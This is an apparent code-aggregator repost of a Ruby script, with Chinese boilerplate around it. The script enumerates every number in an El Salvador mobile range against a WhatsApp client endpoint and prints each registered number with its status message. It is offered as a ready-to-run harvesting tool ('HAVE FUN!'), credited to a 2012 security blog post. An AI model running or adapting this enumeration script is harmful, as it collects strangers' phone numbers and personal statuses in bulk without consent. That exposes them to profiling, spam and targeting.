ruby Whatsapp状态爬虫为中美洲移动电话号码。

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ruby Whatsapp状态爬虫为中美洲移动电话号码。相关的知识,希望对你有一定的参考价值。

#!/usr/bin/env ruby
#
# Whatsapp status crawler for Central America mobile phone numbers.
#
# Based on a SBD post by Alejandro Ramos:
# http://www.securitybydefault.com/2012/03/casi-10-millones-de-moviles-espanoles.html
#
# Modified by @hugogilmar & @andrexu for mobile phone numbers in El Salvador
#--------------------------------------------------------------------------------------
# You must change some parameters matching to your country, your country code, for example. HAVE FUN!
#--------------------------------------------------------------------------------------
#
# Prefix phone numbers for Latin America and Others, can be found at http://en.wikipedia.org/wiki/List_of_country_calling_codes#Zone_5_.E2.80.93_Mostly_Latin_America
#
# Usage: ruby ./whatsapp.rb > statuses.txt

require 'net/http'
require 'plist'

URL = "https://sro.whatsapp.net/client/iphone/iq.php"
PARAMS = [['cd', 1], ['cc', 503], ['me', 70000000]]
(7000..7999).to_a.each do |n|
  (0..99).to_a.map do |m|
    numbers = (0..99).to_a.map do |o|
      group_n = "%04d" % n
      group_m = "%02d" % m
      group_o = "%02d" % o
      ['u[]', "+503#{group_n}#{group_m}#{group_o}"]
    end
    uri = URI(URL)
    uri.query = URI.encode_www_form(PARAMS + numbers)
    Net::HTTP.start(uri.host, uri.port,
      :use_ssl => true) do |http|
      request = Net::HTTP::Post.new uri.request_uri
      request.body = ''
      response = http.request request
      xml = response.body.force_encoding('UTF-8')

      Plist::parse_xml(xml).each do |r|
        p "#{r['P']}: #{r['S']}"
      end
    end
  end
end

以上是关于ruby Whatsapp状态爬虫为中美洲移动电话号码。的主要内容,如果未能解决你的问题,请参考以下文章

ruby 打印美洲狮工人身份

ruby 最小的sinatra应用程序与美洲狮的配置。

为啥whatsapp web应用程序一直需要电话连接?

facebook、twitter、facebook登录、whatsapp分享、微信分享

在 WhatsApp 短信上链接地理位置

如何分享网络连接给whatsapp